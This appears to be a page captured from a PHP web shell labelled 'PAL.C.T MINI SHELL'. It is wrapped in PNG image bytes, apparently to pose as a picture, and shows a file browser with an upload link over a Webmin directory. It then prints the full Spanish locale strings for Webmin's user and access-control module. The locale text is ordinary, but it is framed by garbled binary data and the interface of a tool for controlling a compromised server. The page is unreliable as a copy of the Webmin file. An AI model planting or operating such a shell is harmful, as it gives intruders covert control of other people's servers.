php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/es

index_title=Usuarios de Webmin
index_user=Usuario
index_modules=Módulos
index_create=Crear un nuevo usuario de Webmin
index_convert=Convertir usuarios Unix a Webmin
index_cert=Solicitar un certificado SSL
index_twofactor=Autentificacion de 2 factores
index_certmsg=Presione este botón para solicitar un certificado SSL, el que le permitirá ingresar a Webmin en forma segura sin tener que digitar su nombre de usuario y contraseña.
index_return=lista de usuario
index_none=Ninguno
index_edit=Editar módulo ACL :
index_global=ACL global
index_users=Usuarios de Webmin
index_groups=Grupos de Webmin
index_group=Grupo
index_nousers=Usuarios Webmin editables no definidos.
index_nogroups=Grupos Webmin editables no definidos.
index_gcreate=Crear un nuevo grupo de Webmin
index_members=Miembros
index_modgroups=Módulos del grupo $1
index_sync=Configurar la sincronización del usuario Unix
index_unix=Configurar la autenticación del usuario Unix
index_sessions=Ver sesiones de ingreso
index_rbac=Configurar RBAC
index_delete=Borrar Seleccionado
index_joingroup=Agregar al grupo:
index_eulist=Error al listar usuarios : $1
index_eglist=Error al listar grupos : $1

edit_title=Editar Usuario de Webmin
edit_title2=Crear Usuario de Webmin
edit_readonly=Este usuario de Webmin no debe ser editado mientras es manejado por el $1 módulo. <a href='$2'>Pincha aquí</a> para saltarse esta advertencia y editar el usuario de todos modos - ¡¡pero tenga cuidado de que cualquier cambio manual pueda ser sobreescrito!!
edit_rights=Derechos de acceso de usuarios Webmin
edit_user=Nombre de usuario
edit_cloneof=Clonando un usuario de Webmin
edit_real=Nombre real
edit_group=Miembro de grupo
edit_pass=Contraseña
edit_same=Igual que en Unix
edit_lock=Contraseña no aceptada
edit_pam=Autenticación PAM
edit_unix=Autenticación Unix
edit_extauth=Programa externo de autenticación
edit_dont=No cambiar
edit_set=Configurar a
edit_passlocked=La contraseña no fue modificada por $1 dias - Cuenta bloqueada!
edit_passmax=La contraseña no fue modificada por $1 dias - debe ser modificada en el siguiente ingreso
edit_passold=La contraseña fue modificada por ultima vez hace $1 dias
edit_passtoday=La contraseña fue cambiada hace menos de un dia
edit_modules=Módulos
edit_clone=Clonar
edit_twofactor=Tipo de autentificacion de 2 factores
edit_twofactorprov=Usando proveedor $1 con ID $2
edit_twofactorcancel=Remover reuqerimiento de autentificacion Two-Factor
edit_twofactornone=Ninguna configuracion todabia
edit_twofactoradd=Habilitar Two-Factor para Usuario
edit_lang=Idioma
edit_notabs=¿Categorizar módulos?
edit_logout=Tiempo para expulsión por inactividad
edit_mins=minutos
edit_chars=letras
edit_minsize=Largo minimo de contraseña
edit_nochange=Hacer cumplir días de cambio de contraseña?
edit_cert=Nombre del certificado SSL
edit_none=Ninguna
edit_ips=Control de acceso de IP
edit_all=Permitir desde todas las direcciones
edit_allow=Permitir solo desde las direcciones listadas
edit_deny=Denegar desde las direcciones listadas
edit_ipdesc=El control de acceso de IP de usuario funciona de la misma forma que el control de acceso de IP en el módulo de Configuración de Webmin. Solo si el usuario pasa los controles globales, los mismos también serán verificados aquí.
edit_skill=Nivel de habilidades
edit_risk=Nivel de riesgo
edit_risk_high=Superusuario
edit_risk_medium=Usuario Administrador
edit_risk_low=Usuario normal
edit_groupmods=(Además de los módulos del grupo)
edit_euser=No está autorizado a editar este usuario
edit_egone=El usuario seleccionado ya no existe
edit_ecreate=No está autorizado a crear usuarios
edit_theme=Tema personal
edit_themeglobal=Desde la Configuración de Webmin
edit_themedef=Tema de Webmin anterior
edit_overlay=Tema personal
edit_overlayglobal=Ninguno - Usar tema por defecto
edit_log=Ver bitácoras
edit_selall=Seleccionar todo
edit_invert=Invertir selección
edit_hide=Ocultar no usado
edit_switch=Cambiar a Usuario
edit_return=Usuario de Webmin
edit_return2=Grupo Webmin
edit_rbacdeny=Modo acceso RBAC
edit_rbacdeny0=RBAC sólo controla ACLs del módulo seleccionado
edit_rbacdeny1=RBAC controla todos los módulos y ACLs
edit_global=Permisos para todos los modulos
edit_templock=Temporalmente bloqueado
edit_temppass=Forzar cambio en el siguiente ingreso
edit_days=Días permitidos de la semana
edit_alldays=Cada día
edit_seldays=Solo los días seleccionados ...
edit_hours=Horas permitidas del día
edit_allhours=Cualquier hora
edit_selhours=De $1:$2 a $3:$4
edit_ui=Opciones de interfaz de usuario
edit_security=Opciones de seguridad y limites
edit_mods=Modulos de webmin disponibles
edit_modsg=Modulos de webmin disponibles (ademas de los del grupo)
edit_proto=Tipo de almacenamiento
edit_proto_mysql=Base de datos MySQL
edit_proto_postgresql=Base de datos PostgreSQL
edit_proto_ldap=Servidor LDAP
edit_proto_=Archivos locales

save_err=Fallo al salvar usuario
save_ename='$1' no es un nombre de usuario válido
save_enamewebmin=El nombre de usuario 'webmin' está reservado para uso interno
save_edup=El nombre de usuario '$1' ya está en uso
save_eoverlay=El tema no puede ser seleecionado si un tema es
save_edeny=no puede negarse a si mismo acceso al módulo de usuarios de Webmin
save_eos=La opción Igual que la contraseña de Unix no es soportada por su sistema operativo.
save_emd5=La opción Igual que la contraseña de Unix no puede ser usada en sistemas con encriptación MD5
save_eunix=El usuario Unix '$1' no existe
save_emod=No puede otorgar acceso al módulo '$1'
save_ecreate=No está autorizado a crear usuarios
save_euser=No está autorizado a editar este usuario
save_ecolon=Las contraseñas no puede contener el carácter :
save_epass=Contraseña no valida : $1
save_eself=Su dirección IP actual ($1) sería denegada
save_epam=La autenticación PAM no está disponible ya que el módulo <tt>Authen::PAM</tt> de Perl no está instalado o no funciona adecuadamente.
save_epam2=Puede usar el módulo Módulos Perl de Webmin para <a href='$1'>descargar e instalar Authen::PAM</a> ahora.
save_egroup=No está autorizado a asignar a ese grupo
save_enone=Direcciones no ingresadas
save_enet='$1' no es una dirección de red válida
save_emask='$1' no es una máscara de red válida
save_eip='$1' no es una dirección IP de red completa
save_ehost=Fallo al encontrar dirección IP para '$1'
save_elogouttime=Tiempo de expulsión por inactividad falta o no numérico
save_eminsize=Falta o no es numero el largo minimo de contraseña
save_edays=Ningunos días a permitir seleccionados
save_ehours=Perdidas o inválidas las horas a permitir
save_ehours2=El tiempo de inicio debe ser anterior al de término.
save_etemp=La opcion para forzar un cambio de contraseña en el siguiente inicio de sesion no se puede utilizar a menos que <a href='$1'>pedir al usuario que introduzca nuevas contraseñas</a> este habilitado

delete_err=Fallo al borrar usuario
delete_eself=No puede borrarse a si mismo
delete_ecannot=No está autorizado a borrar usuarios
delete_euser=No está autorizado a borrar a este usuario

cert_title=Solicitar Certificado
cert_issue=Emitir Certificado
cert_header=Detalles del nuevo certificado
cert_msg=Este formulario le permite solicitar un certificado SSL cliente que será usado en el futuro para otorgarle acceso a Webmin en lugar de ingresar su nombre de usuario y contraseña.  Esto es mas seguro, pero debido a que la autenticación es automática usted no podrá cambiarse a otro usuario cuando use el certificado.
cert_ebrowser=Webmin no sabe como emitir certificados cliente para su navegador ( $1 )
cert_cn=Su nombre
cert_email=Dirección de correo electrónico
cert_ou=Departamento
cert_o=Organización
cert_sp=Estado
cert_c=Codigo de país
cert_key=Tamaño de la clave
cert_done=Su certificado para $1 ha sido generado satisfactoriamente.
cert_pickup=<a href='$1'>Presione aquí para tomar su certificado e instalarlo en su navegador</a>
cert_install=Instalar su certificado en el navegador
cert_ekey=No fue entregada una nueva clave SSL por parte de su navegador - quizás no soporte certificados SSL clientes.
cert_eca=Fallo al configurar la autoridad del certificado : $1
cert_already=Aviso - ya está usando el certificado $1.
cert_etempdir=Archivo de certificado invalido

acl_title=Módulo de Control de Acceso
acl_title2=Para $1 en $2
acl_title3=Para grupo $1 en $2
acl_options=Opciones de control de acceso para $1
acl_config=¿Poder editar la configuración del módulo?
acl_reset=Resetear a Acceso Total
acl_rbac=¿Tomar la configuración del control de acceso desde RBAC?
acl_rbacyes=Si (sobreescribe configuración inferior)

acl_uall=Todos los usuarios
acl_uthis=Este usuario
acl_usel=Usuarios seleccionados ..
acl_gr=Miembros de $1
acl_users=Usuarios que pueden ser editados
acl_mods=Poder otorgar acceso a
acl_all=Todos los módulos
acl_own=Solo sus propios módulos
acl_sel=Módulos seleccionados ..
acl_create=¿Poder crear nuevos usuarios?
acl_delete=¿Poder borrar usuarios?
acl_rename=¿Poder renombrar usuarios?
acl_acl=¿Poder editar el control de acceso al módulo?
acl_lang=¿Poder cambiar idioma?
acl_chcert=¿Poder cambiar el nombre de certificado SSL?
acl_euser=No está autorizado a editar la lista de control de acceso para este usuario
acl_egroup=No está autorizado a editar listas de control de acceso de grupos
acl_emod=No está autorizado a editar la lista de control de acceso para este módulo
acl_others=¿Poder ver módulos inaccesibles?
acl_cert=¿Poder solicitar certificado?
acl_err=Fallo al salvar control de acceso
acl_groups=¿Poder editar grupos?
acl_gassign=Poder asignar usuarios a grupos
acl_gall=Todos los grupos
acl_gsel=Seleccionado ..
acl_gnone=Ninguno
acl_perms=Los usuarios creados recientemente obtienen
acl_perms_1=Los mismos controles de acceso a módulo que el creador
acl_perms_0=Control de acceso a módulo por defecto (sin restricciones)
acl_sync=¿Poder configurar sincronización de usuario?
acl_unix=¿Poder configurar autenticación de unix?
acl_sessions=¿Poder ver y cancelar sesiones de ingreso?
acl_cats=¿Poder cambiar categorización?
acl_theme=¿Poder cambiar tema personal?
acl_ips=¿Poder cambiar control de acceso de IP?
acl_switch=¿Puede cambiar a otros usuarios?
acl_times=¿Puede cambiar tiempos de conexión permitidas?
acl_pass=Puede cambiar las restricciones de contraseña?
acl_sql=Puede configurar la base de datos de usuario y grupo?

log_modify=Usuario Webmin $1 modificado
log_rename=Usuario Webmin $1 renombrado a $2
log_create=Usuario Webmin $1 creado
log_clone=Usuario Webmin $1 clonado a $2
log_delete=Usuario Webmin $1 borrado
log_acl=Acceso actualizado para $1 en $2
log_reset=Resetear acceso para $1 en $2
log_cert=Certificado emitido para usuario $1
log_modify_g=Grupo Webmin $1 modificado
log_rename_g=Grupo Webmin $1 renombrado a $2
log_create_g=Grupo Webmin $1 creado
log_delete_g=Grupo Webmin $1 borrado
log_switch=Se ha cambiado a usuario Webmin $1
log_delete_users=Borrados $1 Usuarios de Webmin
log_delete_groups=Borrados $1 Grupos de Webmin
log_joingroup=Agregado 1 usuario de webmin al grupo $2
log_pass=Cambiar restricciones de contraseña
log_unix=Cambiada la auntenficiacion de usuario unix
log_sync=Cambiada la sincronizacion de usuario unix
log_sql=Cambida base de datos de usuario y grupo
log_twofactor=Usuario $1 incluido con 2 factores con el proveedor $2
log_onefactor=Usuario $1 excluido de la autentificacion two-factor

gedit_ecannot=No está autorizado a editar grupos
gedit_title=Editar Grupos de Webmin
gedit_title2=Crear Grupo de Webmin
gedit_group=Nombre de grupo
gedit_rights=Derechos de acceso del grupo de Webmin
gedit_modules=Módulos de miembros
gedit_members=Usuarios y grupos miembros
gedit_desc=Descripcion de grupo
gedit_egone=El grupo seleccionado ya no existe

gdelete_err=Fallo al borrar grupo
gdelete_ecannot=No está autorizado a borrar grupos
gdelete_euser=No puede borrar su propio grupo
gdelete_esub=No se pueden borrar grupos con subgrupos
gdelete_title=Borrar Grupo
gdelete_desc=¿Está seguro que desea borrar el grupo $1 y sus usuarios miembros $2 ?
gdelete_ok=Borrar Grupo

gsave_err=Fallo al salvar grupo
gsave_ename=Nombre de grupo no ingresado o no válido
gsave_enamewebmin=El nombre de grupo 'webmin' está reservado para uso interno
gsave_edup=El nombre de grupo ya está en uso
gsave_edesc=Descripcion invalida - el caracter : no esta permitido

convert_title=Convertir Usuarios
convert_ecannot=No está autorizado a convertir usuarios Unix
convert_nogroups=No se han definido grupos Webmin en su sistema. Al menos un grupo debe ser creado antes de la conversión de forma de definir permisos para los usuarios convertidos.
convert_desc=Este formulario permite convertir usuarios Unix existentes a usuarios Webmin. Los permisos de cada uno de los nuevos usuarios Webmin serán determinados por los grupos seleccionados debajo.
convert_0=Todos los usuarios
convert_1=Solo los usuarios
convert_2=Todos excepto los usuarios
convert_3=Usuarios con grupo
convert_4=Usuarios con identificador de usuario en rango
convert_group=Asignar nuevos usuarios a grupo Webmin
convert_sync2=Sincronizar contraseña con el usuario de Unix en el futuro?
convert_ok=Convertir Ahora
convert_err=Fallo al convertir usuarios
convert_eusers=No se ingresaron usuarios para convertir
convert_egroup=El grupo Unix no existe
convert_emin=Identificador de usuario mínimo no válido
convert_emax=Identificador de usuario máximo no válido
convert_ewgroup=No dicho grupo Webmin
convert_ewgroup2=No está autorizado a asignar nuevos usuarios a este grupo
convert_skip=Salteándo $1
convert_exists=$1 ya existe
convert_invalid=$1 no es un nombre de usuario Webmin válido
convert_added=Agregando $1
convert_msg=Convirtiendo usuarios Unix...
convert_user=Usuario de Unix
convert_action=Cambios aceptados
convert_done=$1 usuarios convertidos, $2 invalidos, $3 ya existen, $4 excuidos.
convert_users=Usuarios a convertir

sync_title=Sincronización de usuarios Unix
sync_desc=Este formulario permite configurar la sincronización automática de usuarios Unix creados a través de Webmin y usuarios en este módulo.
sync_nogroups=No se han definido grupos Webmin en su sistema. Al menos un grupo debe ser creado para configurar el acceso para los usuarios creados.
sync_when=Cuando sincronizar
sync_create=Crear un usuario Webmin cuando un usuario Unix es creado.
sync_update=Actualizar el usuario Webmin relacionado cuando el usuario Unix es modificado.
sync_delete=Borrar el usuario Webmin relacionado cuando el usuario Unix es borrado.
sync_group=Asignar nuevos usuarios al grupo Webmin
sync_unix=Poner el password de los nuevos usuarios como en la autenticación Unix.
sync_ecannot=No está autorizado a configurar la sincronización de usuario.

unix_title=Autenticación de Usuario Unix
unix_err=Error al guardar la autenficiacion Unix
unix_desc=Esta página le permite configura Webmin para validar los intentos de ingreso contra la lista de usuarios del sistema y PAM. Esto puede ser útil si tiene un gran número de usuarios Unix a los que quiere dar acceso a Webmin.
unix_def=Solo permitir el ingreso a los usuarios Webmin
unix_sel=Permitir hacer login a los usuarios Unix listados abajo..
unix_mode=Permitir
unix_mall=Todos los usuarios
unix_group=Miembros del grupo..
unix_user=Permitir a cualquier usuario Unix el ingreso con permisos de usuario
unix_who=Usuario o Grupo
unix_to=Como usuario Webmin
unix_ecannot=No está autorizado a configurar la autenticación de usuarios Unix
unix_epam=La autenticación Unix no está disponible ya que el módulo <tt>Authen::PAM</tt> de Perl no está instalado o no funciona adecuadamente.
unix_all=Permitir todos los usuarios Unix
unix_allow=Permitir sólo los usuarios Unix listados
unix_deny=Denegar los usuarios Unix listados
unix_none=No se introdujeron usuarios
unix_euser='$1' no es un nombre de usuario válido
unix_egroup='$1' no es un nombre de grupo válido
unix_shells=Denegar usuarios Unix cuyas shells no estén en el fichero
unix_eshells=Archivo de shells inexistente o no introducido
unix_restrict2=Restricciones adicionales
unix_ewhogroup=Grupo a permitir no introducido en la fila $1
unix_ewhouser=Usuario a permitir no introducido en la fila $1
unix_enone=No se introdujeron usuarios ni grupos Unix para permitir
unix_same=&lt;Mismo usuario o grupo&gt;
unix_sudo=Permitir a los usuarios que pueden ejecutar todos los comandos a través de <tt>sudo</ tt> para entrar como <tt>root</ tt>
unix_pamany=Tratar a los ingresos que solo pasan la validación PAM $1
unix_esudo=El comando $1 no esta instalado
unix_esudomod=El modulo de Perl $1 necesario para la autenticacion <tt>sudo</tt> no esta instalado
unix_header=Configuracion de autenticacion de usuario de Unix
unix_utable=Permitir usuarios Unix

sessions_title=Sesiones de Ingreso Corrientes
sessions_id=ID de Sesión
sessions_user=Usuario Webmin
sessions_login=Ingreso como
sessions_host=Dirección IP
sessions_lview=Ver bitácoras..

hide_title=Ocultar Módulos no Usados
hide_desc=Los siguientes módulos serán eliminados de las lista de acceso de módulos para $1 ya que sus servidores correspondientes no están instalados en su sistema ..
hide_ok=Ocultar Módulos Ahora
hide_none=Nada para ocultar - $1 no tiene acceso a ningún módulo cuyo servidor correspondiente no está instalado en su sistema.
hide_desc2=Notar que estos módulos no reaparecerán automáticamente si los servidores correspondientes son instalados. Necesitará otorgar accesos manualmente usando este módulo.
hide_clone=(Clonar $1)

switch_euser=No está autorizado a cambiar a este usuario
switch_eold=¡Sesión existente no encontrada!

rbac_title=Configurar RBAC
rbac_desc=La integración RBAC de Webmin proporciona la capacidad de configurar el módulo de usuarios y permisos ACL desde una base de datos RBAC (Role Based Access Control, o Control de Acceso Basado en Roles), en lugar de desde los archivos de configuración propios de Webmin. Una vez que el soporte de RBAC se habilita, cualquier usuario para el cual esté seleccionada la opción  <b>$edit_rbacdeny1</b> tendrá sus capacidades determinadas por RBAC en lugar de por la configuración de acceso del propio Webmin.
rbac_esolaris=Por el momento, RBAC sólo se soporta en Solaris, y por tanto no puede utilizarse en este sistema $1.
rbac_eperl=El módulo Perl $1, necesario para la integración con RBAC, no está instalado. <a href='$2'>Pulse aquí</a> para instalarlo ahora.
rbac_ecpan=No tiene acceso a la página de Módulos Perl de Webmin que le permitiría instalar el módulo $1, necesario para la integración con RBAC.
rbac_ok=La integración con RBAC es posible en este sistema, y puede ser habilitada para cada usuario en la página de Edición de Usuarios Webmin.

udeletes_err=Fallo al borrar usuarios
udeletes_enone=Ninguno seleccionado
udeletes_title=Borrar Uusuarios
udeletes_rusure=¿Está seguro de que quiere borrar los $1 usuarios seleccionados. Toda su configuracion de control de acceso y sus detalles de usuario se perderán.
udeletes_users=Usuarios seleccionados: $1
udeletes_ok=Borrar Usuarios
udeletes_ereadonly=Uno de los usuarios seleccionados está marcado como no-editable

gdeletes_err=Fallo al borrar grupos
gdeletes_title=Borrar Grupos
gdeletes_rusure=¿Está seguro de que quiere borrar los $1 grupos seleccionados, y los $2 usuarios que contienen? Todos sus configuraciones de control de acceso y sus detalles de usuario se perderán.
gdeletes_users=Grupos seleccionados: $1
gdeletes_ok=Borrar Grupos

pass_title=Restricciones de contraseña
pass_ecannot=No estas permitido a editar las restricciones de contraseña
pass_header=Opciones de aplicacion de contraseña webmin
pass_minsize=Largo minimo de contraseña
pass_nominsize=Sin minimo
pass_regexps=Las contraseñas de expresiones regulares deben coincidir
pass_regdesc=Descripcion de expresion regular legible por el humano
pass_maxdays=Dias antes de que la contraseña necesite ser cambiada
pass_lockdays=Dias antes de que una contraseña sin cambiar bloquee la cuenta
pass_nomaxdays=Cambio nunca requerido
pass_nolockdays=La cuenta nunca esta bloqueada
pass_nouser=Desabilitar contraseñas que contengan nombre de usuario?
pass_nodict=Desabilitar contraseñas con palabras de diccionario?
pass_oldblock=Numero de antiguas contraseñas para rechazar
pass_nooldblock=Sin limite de reutilizacion de contraseña
pass_days=dias
pass_pass=contraseñas
pass_err=Error al guardar las restricciones de contraseña
pass_eminsize=Falta o no es numerico el largo minimo de la contraseña
pass_emaxdays=Falta o no es numerico el numero de dias antes de que la cuenta cambie
pass_elockdays=Falta o no es numero el numero de dias antes de que la cuenta este bloqueada
pass_eoldblock=Falta o no es numerico el numero de contraseñas antiguas a rechazar

cpass_minsize=Debe ser al menos de $1 caracteres de largo
cpass_notre=Coincide con un patron no permitido
cpass_re=No coincide con un patron requerido
cpass_name=Contiene el nombre de usuario
cpass_dict=Es una palabra del diccionario
cpass_spellcmd=Ninguno de los comandos $1 o $2 necesitan ser comprobados para ver si las palabras del diccionario estan instaladas
cpass_old=Contraseñas antiguas no pueden ser reutilizadas

sql_title=Base de datos de usuario y grupo
sql_ecannot=No esta autorizado a configurar la base de datos de usuario y grupo
sql_header=Opciones para el backend de base de datos para usuarios y grupos
sql_host=Hostname
sql_user=Usuario
sql_pass=Contraseña
sql_db=Nombre de base de datos
sql_ssl=Encriptacion de conexion
sql_ssl0=Ninguno
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Clase de objecto para usuarios
sql_groupclass=Clase de objectos para grupos
sql_euserclass=Falta es invalida la clase del objeto para usuarios
sql_egroupclass=Falta o es invalido la clase del objeto de grupos
sql_none=Usar solo archivos locales para almacenar usuarios y grupos
sql_mysql=Usar base de datos MySQL
sql_postgresql=Usar base de datos PostgreSQL
sql_ldap=Usar servidor LDAP
sql_prefix=Crear bajo DN
sql_addto0=Agregar nuevos usuarios a la base datos seleccionada anteriormente
sql_addto1=Agregar nuevos usuarios a los archivos locales
sql_emod=Falta el modulo perl <tt>$1</tt> requerido
sql_etable=Error al consultar la tabla requerida $1 : $2
sql_eldapdn=La base LDAP DN $1 no fue encontrada
sql_eclass=Clase de objeto LDAP $1 no existe en el esquema del servidor
sql_err=Error al guardar la configuracion de la base de datos de usuario y grupo
sql_ehost=Falta o no se puede resolver el hostname
sql_euser=Falta o es invalido el usuario (no se admiten espacios)
sql_epass=Contraseña invalida (no se permiten espacios)
sql_edb=Nombre de base de datos invalida (no se permiten espacios)
sql_eprefix=Falta o es invalida la base DN (no se admiten espacios)
sql_eprefix2=Base DN invalida - tiene que ser como <tt>dc=mydomain,dc=com</tt>
sql_title2=Crear tablas faltantes
sql_tableerr=La configuracion de la base de datos de usuario y grupo es valida pero algunas tablas necesitadas por webmin no se encuentran : $1
sql_tableerr2=Click en el boton <b>Crear tablas</b> de abajo para crearlos automaticamente, o correr manualmente el SQL de abajo.
sql_make=Crear tablas
sql_title3=Crear DN faltante
sql_dnerr=La configuracion de la base de datos de usuario y grupo es valida, pero el LDAP DN necesitado por webmin no se encuentra : $1
sql_dnerr2=Click en el boton <b>Crear DN</b> de abajo para crearlo automaticamente, o agregar a su servidor LDAP manualmente.
sql_makedn=Crear DN
sql_schema=Descargar esquema LDAP

make_title=Crear tablas de Usuario y grupo
make_err=Error al crear tablas de usuario y grupo
make_exec=Ejecutando SQL $1 ..
make_failed=.. creacion fallida : $1
make_done=.. listo
make_still=Algunos problemas fueron encontrados luego de la creacion de la tabla : $1

makedn_title=Crear LDAP DN
makedn_eoc=No se encontraron clases de objeto estructural
makedn_exec=Creando padre DN $1 ..
makedn_failed=.. creacion fallida : $1
makedn_done=.. listo
makedn_still=Algunos problemas fueron encontrados luego de la creacion de DN : $1

schema_title=Descargar esquema LDAP
schema_desc=Antes de que webmin pueda usar un servidor LDAP para almacenar usuarios y grupos debe estar configurado para usar el esquema abajo. Esto se puede hacer guardando la definicion del esquema en <tt>/etc/ldap/schema</tt> or <tt>/etc/openldap/schema</tt> como </tt>webmin.schema</tt>, despues configurando el servidor para cargar el archivo del esquema.
schema_download=Descargar archivo de esquema : <a href=$1>$1</a>

twofactor_err=Error al configurar la autentificacion de 2 factores
twofactor_euser=Su usuario de webmin no fue encontrado!
twofactor_title=Autentificacion de 2 factores
twofactor_disable=Desabilitar autentificacion de 2 factores
twofactor_already=Su ingreso de webmin ya tiene la autentificacion de 2 factores habilitada con el proveedor $1 y ID de cuenta $2.
twofactor_already2=Ingreso de webmin $3 ya tiene la autificacion de 2 factores activada con el proveedor $1 y ID de cuenta $2
twofactor_desc=Esta pagina le permite activar la autentificacion de 2 factores para su ingreso en webmin usando <a href='$2' target=_blank>$1</a>.
twofactor_desc2=Esta pagina le permite activar la autentificacion de 2 factores para el ingreso de $3 en webmin usando <a href='$2' target=_blank>$1</a>.
twofactor_enable=Incluir para la autentificacion de 2 factores
twofactor_header=Detalles de autentificacion de 2 factores
twofactor_enrolling=Incluyendo para la autentificacion de 2 factores con el proveedor $1 ..
twofactor_failed=.. error : $1
twofactor_done=.. completado. Su ID con este provedoor is <tt>$1</tt>.
twofactor_setup=La autentificacion de 2 factores no fue habilitada en este sistema todabia, pero puede ser habilitada usando el modulo de <a href='$1'Configuracion Webmin</a>.
twofactor_ebutton=No se presiono ningun boton!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`